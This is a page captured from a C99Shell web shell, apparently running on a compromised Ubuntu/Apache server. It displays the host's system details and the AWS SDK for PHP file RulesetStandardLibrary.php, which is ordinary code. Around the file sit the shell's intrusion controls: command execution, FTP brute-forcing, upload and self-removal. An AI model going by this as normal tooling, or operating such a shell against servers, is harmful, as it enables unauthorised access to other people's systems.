!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/aws/aws-sdk-php/src/EndpointV2/Ruleset/   drwxr-xr-x
Free 13.05 GB of 57.97 GB (22.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RulesetStandardLibrary.php (12.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Aws\EndpointV2\Ruleset;

use 
Aws\Exception\UnresolvedEndpointException;

/**
 * Provides functions and actions to be performed for endpoint evaluation.
 * This is an internal only class and is not subject to backwards-compatibility guarantees.
 *
 * @internal
 */
class RulesetStandardLibrary
{
    const 
IPV4_RE '/^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$/';
    const 
IPV6_RE '/([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|
                    . ([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]
                    . {1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:)
                    . {1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|
                    . [0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:
                    . (:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|
                    . 1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]
                    . {1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]
                    . |1{0,1}[0-9]){0,1}[0-9])/'
;
    const 
TEMPLATE_ESCAPE_RE '/{\{\s*(.*?)\s*\}\}/';
    const 
TEMPLATE_SEARCH_RE '/\{[a-zA-Z#]+\}/';
    const 
TEMPLATE_PARSE_RE '#\{((?>[^\{\}]+)|(?R))*\}#x';
    const 
HOST_LABEL_RE '/^(?!-)[a-zA-Z\d-]{1,63}(?<!-)$/';

    private 
$partitions;

    public function 
__construct($partitions)
    {
        
$this->partitions $partitions;
    }

    
/**
     * Determines if a value is set.
     *
     * @return boolean
     */
    
public function is_set($value)
    {
        return isset(
$value);
    }

    
/**
     * Function implementation of logical operator `not`
     *
     * @return boolean
     */
    
public function not($value)
    {
        return !
$value;
    }

    
/**
     * Find an attribute within a value given a path string.
     *
     * @return mixed
     */
    
public function getAttr($from$path)
    {
        
$parts explode('.'$path);
        foreach (
$parts as $part) {
            
$sliceIdx strpos($part'[');
            if (
$sliceIdx !== false) {
                if (
substr($part, -1) !== ']') {
                    return 
null;
                }
                
$slice intval(substr($part$sliceIdx 1strlen($part) - 1));
                
$from = isset($from[substr($part,0$sliceIdx)][$slice])
                    ? 
$from[substr($part,0$sliceIdx)][$slice]
                    : 
null;
            } else {
                
$from $from[$part];
            }
        }
        return 
$from;
    }

    
/**
     * Computes a substring given the start index and end index. If `reverse` is
     * true, slice the string from the end instead.
     *
     * @return mixed
     */
    
public function substring($input$start$stop$reverse)
    {
        if (!
is_string($input)) {
            throw new 
UnresolvedEndpointException(
                
'Input passed to `substring` must be `string`.'
            
);
        }

        if (
preg_match('/[^\x00-\x7F]/'$input)) {
            return 
null;
        }
        if (
$start >= $stop or strlen($input) < $stop) {
            return 
null;
        }
        if (!
$reverse) {
            return 
substr($input$start$stop $start);
        } else {
            
$offset strlen($input) - $stop;
            
$length $stop $start;
            return 
substr($input$offset$length);
        }
    }

    
/**
     * Evaluates two strings for equality.
     *
     * @return boolean
     */
    
public function stringEquals($string1$string2)
    {
        if (!
is_string($string1) || !is_string($string2)) {
            throw new 
UnresolvedEndpointException(
                
'Values passed to StringEquals must be `string`.'
            
);
        }
        return 
$string1 === $string2;
    }

    
/**
     * Evaluates two booleans for equality.
     *
     * @return boolean
     */
    
public function booleanEquals($boolean1$boolean2)
    {
        return
            
filter_var($boolean1FILTER_VALIDATE_BOOLEAN)
            === 
filter_var($boolean2FILTER_VALIDATE_BOOLEAN);
    }

    
/**
     * Percent-encodes an input string.
     *
     * @return mixed
     */
    
public function uriEncode($input)
    {
        if (
is_null($input)) {
            return 
null;
        }
        return 
str_replace('%7E''~'rawurlencode($input));
    }

    
/**
     * Parses URL string into components.
     *
     * @return mixed
     */
    
public function parseUrl($url)
    {
        
$parsed parse_url($url);

        if (
$parsed === false || !empty($parsed['query'])) {
            return 
null;
        } elseif (!isset(
$parsed['scheme'])) {
            return 
null;
        }

        if (
$parsed['scheme'] !== 'http'
            
&& $parsed['scheme'] !== 'https'
        
) {
            return 
null;
        }

        
$urlInfo = [];
        
$urlInfo['scheme'] = $parsed['scheme'];
        
$urlInfo['authority'] = isset($parsed['host']) ? $parsed['host'] : '';
        if (isset(
$parsed['port'])) {
            
$urlInfo['authority'] = $urlInfo['authority'] . ":" $parsed['port'];
        }
        
$urlInfo['path'] = isset($parsed['path']) ? $parsed['path'] : '';
        
$urlInfo['normalizedPath'] = !empty($parsed['path'])
            ? 
rtrim($urlInfo['path'] ?: '''/' .  "/") . '/'
            
'/';
        
$urlInfo['isIp'] = !isset($parsed['host']) ?
            
'false' $this->isValidIp($parsed['host']);

        return 
$urlInfo;
    }

    
/**
     * Evaluates whether a value is a valid host label per
     * RFC 1123. If allow_subdomains is true, split on `.` and validate
     * each subdomain separately.
     *
     * @return boolean
     */
    
public function isValidHostLabel($hostLabel$allowSubDomains)
    {
        if (!isset(
$hostLabel)
            || (!
$allowSubDomains && strpos($hostLabel'.') != false)
        ) {
            return 
false;
        }

        if (
$allowSubDomains) {
            foreach (
explode('.'$hostLabel) as $subdomain) {
                if (!
$this->validateHostLabel($subdomain)) {
                    return 
false;
                }
            }
            return 
true;
        } else {
            return 
$this->validateHostLabel($hostLabel);
        }
    }

    
/**
     * Parse and validate string for ARN components.
     *
     * @return array|null
     */
    
public function parseArn($arnString)
    {
        if (
is_null($arnString)
            || 
substr$arnString0) !== "arn"
        
) {
            return 
null;
        }

        
$arn = [];
        
$parts explode(':'$arnString6);
        if (
sizeof($parts) < 6) {
            return 
null;
        }

        
$arn['partition'] = isset($parts[1]) ? $parts[1] : null;
        
$arn['service'] = isset($parts[2]) ? $parts[2] : null;
        
$arn['region'] = isset($parts[3]) ? $parts[3] : null;
        
$arn['accountId'] = isset($parts[4]) ? $parts[4] : null;
        
$arn['resourceId'] = isset($parts[5]) ? $parts[5] : null;

        if (empty(
$arn['partition'])
            || empty(
$arn['service'])
            || empty(
$arn['resourceId'])
        ) {
            return 
null;
        }
        
$resource $arn['resourceId'];
        
$arn['resourceId'] = preg_split("/[:\/]/"$resource);

        return 
$arn;
    }

    
/**
     * Matches a region string to an AWS partition.
     *
     * @return mixed
     */
    
public function partition($region)
    {
        if (!
is_string($region)) {
            throw new 
UnresolvedEndpointException(
                
'Value passed to `partition` must be `string`.'
            
);
        }

        
$partitions $this->partitions;
        foreach (
$partitions['partitions'] as $partition) {
            if (
array_key_exists($region$partition['regions'])
                || 
preg_match("/{$partition['regionRegex']}/"$region)
            ) {
                return 
$partition['outputs'];
            }
        }
        
//return `aws` partition if no match is found.
        
return $partitions['partitions'][0]['outputs'];
    }

    
/**
     * Evaluates whether a value is a valid bucket name for virtual host
     * style bucket URLs.
     *
     * @return boolean
     */
    
public function isVirtualHostableS3Bucket($bucketName$allowSubdomains)
    {
        if ((
is_null($bucketName)
            || (
strlen($bucketName) < || strlen($bucketName) > 63))
            || 
preg_match(self::IPV4_RE$bucketName)
            || 
strtolower($bucketName) !== $bucketName
        
) {
            return 
false;
        }

        if (
$allowSubdomains) {
            
$labels explode('.'$bucketName);
            
$results = [];
            forEach(
$labels as $label) {
                
$results[] = $this->isVirtualHostableS3Bucket($labelfalse);
            }
            return !
in_array(false$results);
        }
        return 
$this->isValidHostLabel($bucketNamefalse);
    }

    public function 
callFunction($funcCondition, &$inputParameters)
    {
        
$funcArgs = [];

        forEach(
$funcCondition['argv'] as $arg) {
            
$funcArgs[] = $this->resolveValue($arg$inputParameters);
        }

        
$funcName str_replace('aws.'''$funcCondition['fn']);
        if (
$funcName === 'isSet') {
            
$funcName 'is_set';
        }

        
$result call_user_func_array(
            [
'Aws\EndpointV2\Ruleset\RulesetStandardLibrary'$funcName],
            
$funcArgs
        
);

        if (isset(
$funcCondition['assign'])) {
            
$assign $funcCondition['assign'];
            if (isset(
$inputParameters[$assign])){
                throw new 
UnresolvedEndpointException(
                    
"Assignment `{$assign}` already exists in input parameters" .
                    
" or has already been assigned by an endpoint rule and cannot be overwritten."
                
);
            }
            
$inputParameters[$assign] = $result;
        }
        return 
$result;
    }

    public function 
resolveValue($value$inputParameters)
    {
        
//Given a value, check if it's a function, reference or template.
        //returns resolved value
        
if ($this->isFunc($value)) {
            return 
$this->callFunction($value$inputParameters);
        } elseif (
$this->isRef($value)) {
            return isset(
$inputParameters[$value['ref']]) ? $inputParameters[$value['ref']] : null;
        } elseif (
$this->isTemplate($value)) {
            return 
$this->resolveTemplateString($value$inputParameters);
        }
        return 
$value;
    }

    public function 
isFunc($arg)
    {
        return 
is_array($arg) && isset($arg['fn']);
    }

    public function 
isRef($arg)
    {
        return 
is_array($arg) && isset($arg['ref']);
    }

    public function 
isTemplate($arg)
    {
        return 
is_string($arg) && !empty(preg_match(self::TEMPLATE_SEARCH_RE$arg));
    }

    public function 
resolveTemplateString($value$inputParameters)
    {
        return 
preg_replace_callback(
            
self::TEMPLATE_PARSE_RE,
            function (
$match) use ($inputParameters) {
                if (
preg_match(self::TEMPLATE_ESCAPE_RE$match[0])) {
                    return 
$match[1];
                }

                
$notFoundMessage 'Resolved value was null.  Please check rules and ' .
                    
'input parameters and try again.';

                
$parts explode("#"$match[1]);
                if (
count($parts) > 1) {
                    
$resolvedValue $inputParameters;
                    foreach(
$parts as $part) {
                        if (!isset(
$resolvedValue[$part])) {
                            throw new 
UnresolvedEndpointException($notFoundMessage);
                        }
                        
$resolvedValue $resolvedValue[$part];
                    }
                    return 
$resolvedValue;
                } else {
                    if (!isset(
$inputParameters[$parts[0]])) {
                        throw new 
UnresolvedEndpointException($notFoundMessage);
                    }
                    return 
$inputParameters[$parts[0]];
                }
            },
            
$value
        
);
    }

    private function 
validateHostLabel ($hostLabel)
    {
        if (empty(
$hostLabel) || strlen($hostLabel) > 63) {
            return 
false;
        }
        if (
preg_match(self::HOST_LABEL_RE$hostLabel)) {
            return 
true;
        }
        return 
false;
    }

    private function 
isValidIp($hostName)
    {
        
$isWrapped strpos($hostName'[') === 0
            
&& strrpos($hostName']') === strlen($hostName) - 1;

        return 
preg_match(
                
self::IPV4_RE,
            
$hostName
        
)
        
//IPV6 enclosed in brackets
        
|| ($isWrapped && preg_match(
            
self::IPV6_RE,
            
$hostName
        
))
            ? 
'true' 'false';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0067 ]--